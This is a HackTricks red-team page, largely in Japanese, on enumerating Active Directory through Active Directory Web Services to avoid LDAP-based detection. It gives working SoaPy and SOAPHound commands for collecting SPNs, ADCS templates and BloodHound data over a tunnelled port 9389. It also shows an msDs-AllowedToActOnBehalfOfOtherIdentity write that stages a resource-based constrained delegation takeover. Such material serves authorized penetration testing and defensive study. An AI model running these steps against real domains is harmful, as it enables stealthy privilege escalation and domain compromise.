Active Directory Web Services (ADWS) Enumeration & Stealth Collection

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

What is ADWS?

Active Directory Web Services (ADWS) は Windows Server 2008 R2 以降のすべてのドメインコントローラーでデフォルトで有効化されており、TCP 9389 をリッスンします。名前に反して、HTTP は関与しません。代わりに、このサービスはプロプライエタリな .NET フレーミングプロトコルのスタックを通して LDAP スタイルのデータを公開します:

  • MC-NBFX → MC-NBFSE → MS-NNS → MC-NMF

これらのバイナリ SOAP フレーム内にトラフィックがカプセル化され、一般的でないポートを通るため、ADWS 経由の enumeration は従来の LDAP/389 & 636 トラフィックよりも検査、フィルタ、シグネチャ検出を受ける可能性がはるかに低いです。オペレーターにとっての利点は:

  • よりステルスな recon — Blue team はしばしば LDAP クエリに注力します。
  • SOCKS プロキシ経由で 9389/TCP をトンネリングすることで non-Windows hosts (Linux, macOS) からの収集が可能。
  • LDAP で取得できるのと同じデータ(users, groups, ACLs, schema など)と、writes を行う能力(例: msDs-AllowedToActOnBehalfOfOtherIdentity による RBCD)。

ADWS の対話は WS-Enumeration 上で実装されています: すべてのクエリは LDAP フィルター/属性を定義する Enumerate メッセージで始まり、EnumerationContext GUID を返し、その後サーバー定義の結果ウィンドウまでストリームする 1 回以上の Pull メッセージが続きます。Context は約 30 分で期限切れになるため、ツールは結果をページングするかフィルターを分割(CN ごとのプレフィックスクエリ)して状態を失わないようにする必要があります。セキュリティ記述子を要求する場合は、SACL を省略するために LDAP_SERVER_SD_FLAGS_OID コントロールを指定してください。そうしないと ADWS は SOAP レスポンスから単に nTSecurityDescriptor 属性を落とします。

NOTE: ADWS は多くの RSAT GUI/PowerShell ツールでも使用されるため、トラフィックは正当な管理者アクティビティと混ざる可能性があります。

SoaPy – Native Python Client

SoaPy純粋な Python で ADWS プロトコルスタックを完全再実装したものです。NBFX/NBFSE/NNS/NMF フレームをバイト単位で作成し、.NET ランタイムに触れずに Unix 系システムからの収集を可能にします。

Key Features

  • proxying through SOCKS をサポート(C2 インプラントから有用)。
  • LDAP の -q '(objectClass=user)' と同等の細かい検索フィルター。
  • オプションの write 操作(--set / --delete)。
  • BloodHound に直接取り込める BOFHound output mode
  • 人間が読みやすくするためのタイムスタンプ / userAccountControl を整形する --parse フラグ。

Targeted collection flags & write operations

SoaPy は ADWS 上で最も一般的な LDAP ハンティングタスクを再現するキュレーション済みスイッチを搭載しています: --users, --computers, --groups, --spns, --asreproastable, --admins, --constrained, --unconstrained, --rbcds、およびカスタム取得用の生の --query / --filter ノブ。これらを --rbcd <source>msDs-AllowedToActOnBehalfOfOtherIdentity を設定)、--spn <service/cn>(ターゲット Kerberoasting 用の SPN 準備)、--asrepuserAccountControlDONT_REQ_PREAUTH を反転)などの書き込みプリミティブと組み合わせます。

Example targeted SPN hunt that only returns samAccountName and servicePrincipalName:

soapy corp.local/alice:'Winter2025!'@dc01.corp.local \
--spns -f samAccountName,servicePrincipalName --parse

同じホスト/認証情報を使って即座に発見をweaponiseするには: --rbcds で RBCD-capable オブジェクトをダンプし、続けて --rbcd 'WEBSRV01$' --account 'FILE01$' を適用して Resource-Based Constrained Delegation チェーンをステージします(完全な悪用手順は Resource-Based Constrained Delegation を参照)。

インストール(オペレーターホスト)

python3 -m pip install soapy-adws   # or git clone && pip install -r requirements.txt

SOAPHound – 大規模 ADWS 収集 (Windows)

FalconForce SOAPHound は .NET 製のコレクタで、すべての LDAP 相互作用を ADWS 内に留め、BloodHound v4 互換の JSON を出力します。
一度 objectSid, objectGUID, distinguishedNameobjectClass の完全なキャッシュを構築(--buildcache)し、その後は高ボリュームの --bhdump--certdump (ADCS)、または --dnsdump (AD-integrated DNS) 実行時に再利用するため、DC から外に出る属性は約35個の重要属性だけになります。
AutoSplit(--autosplit --threshold <N>)は、大規模フォレストで30分の EnumerationContext timeout を超えないように、CN プレフィックスでクエリを自動的にシャードします。

Typical workflow on a domain-joined operator VM:

# Build cache (JSON map of every object SID/GUID)
SOAPHound.exe --buildcache -c C:\temp\corp-cache.json

# BloodHound collection in autosplit mode, skipping LAPS noise
SOAPHound.exe -c C:\temp\corp-cache.json --bhdump \
--autosplit --threshold 1200 --nolaps \
-o C:\temp\BH-output

# ADCS & DNS enrichment for ESC chains
SOAPHound.exe -c C:\temp\corp-cache.json --certdump -o C:\temp\BH-output
SOAPHound.exe --dnsdump -o C:\temp\dns-snapshot

エクスポートした JSON は SharpHound/BloodHound のワークフローに直接組み込めます—下流のグラフ化のアイデアは BloodHound methodology を参照してください。AutoSplit は SOAPHound を数百万オブジェクト規模のフォレストで堅牢にしつつ、クエリ数を ADExplorer スタイルのスナップショットより低く抑えます。

ステルス AD 収集ワークフロー

以下のワークフローは、ADWS 経由で ドメイン & ADCS オブジェクト を列挙し、それらを BloodHound JSON に変換して証明書ベースの攻撃パスを探索する方法を示します — すべて Linux から実行できます:

  1. Tunnel 9389/TCP をターゲットネットワークから自分のマシンに転送します(例: Chisel、Meterpreter、SSH の dynamic port-forward など)。 export HTTPS_PROXY=socks5://127.0.0.1:1080 をエクスポートするか、SoaPy’s --proxyHost/--proxyPort を使用します。

  2. ルートドメインオブジェクトを収集する:

soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-q '(objectClass=domain)' \
| tee data/domain.log
  1. Configuration NC から ADCS 関連のオブジェクトを収集する:
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-dn 'CN=Configuration,DC=ludus,DC=domain' \
-q '(|(objectClass=pkiCertificateTemplate)(objectClass=CertificationAuthority) \\
(objectClass=pkiEnrollmentService)(objectClass=msPKI-Enterprise-Oid))' \
| tee data/adcs.log
  1. BloodHound に変換:
bofhound -i data --zip   # produces BloodHound.zip
  1. ZIP をアップロードし、BloodHound GUI 上で MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,c のような cypher クエリを実行して、証明書のエスカレーション経路(ESC1、ESC8 など)を明らかにします。

msDs-AllowedToActOnBehalfOfOtherIdentity の書き込み (RBCD)

soapy ludus.domain/jdoe:'P@ssw0rd'@dc.ludus.domain \
--set 'CN=Victim,OU=Servers,DC=ludus,DC=domain' \
msDs-AllowedToActOnBehalfOfOtherIdentity 'B:32:01....'

これを s4u2proxy/Rubeus /getticket と組み合わせて、完全な Resource-Based Constrained Delegation チェーンを構築します(詳細は Resource-Based Constrained Delegation を参照)。

ツール概要

目的ツール備考
ADWS 列挙SoaPyPython、SOCKS、読み取り/書き込み
大量の ADWS ダンプSOAPHound.NET、キャッシュ優先、BH/ADCS/DNS モード
BloodHound 取り込みBOFHoundSoaPy/ldapsearch ログを変換
証明書の乗っ取りCertipy同じ SOCKS を経由してプロキシ可能

References

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする